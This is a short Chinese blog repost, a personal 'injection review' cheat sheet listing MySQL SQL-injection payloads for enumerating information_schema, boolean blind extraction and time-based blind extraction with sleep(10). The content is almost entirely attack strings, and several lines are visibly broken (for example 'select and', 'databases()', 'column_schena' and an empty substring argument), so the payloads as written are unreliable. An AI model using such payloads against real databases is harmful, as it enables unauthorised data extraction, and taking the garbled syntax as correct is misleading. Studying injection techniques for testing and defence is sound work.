码迷,mamicode.com
首页 > 其他好文 > 详细

注入复习总结

时间:2016-12-20 00:56:35      阅读:136      评论:0      收藏:0      [点我收藏+]

标签:substring   sch   select   and   from   color   bst   ring   class   

 

不定期更新。

Mysql Code:

#常规注入:
select schema_name from information_schema.schemata;
select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374;
select group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374;
#盲注:
select and ascii(mid(databases(),1,1))=115;
select and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1));
select and ascii(substring((select columns_name from information_schema.columns where column_schena=database() limit 1,1),1,1));
#延时盲注:
select and if(ascii(substring(database(),1,)),sleep(10),1);
select and if(ascii(substring((select table_name from information_schema.tables where table_schema=0x73716C696E6A656374),sleep(10),1));
select and if(ascii(substring((select columns_name from information_schema.columns where column_schema=0x73716C696E6A656374)),1,1),sleep(10),1)

 

注入复习总结

标签:substring   sch   select   and   from   color   bst   ring   class   

原文地址:http://www.cnblogs.com/xishaonian/p/6200818.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!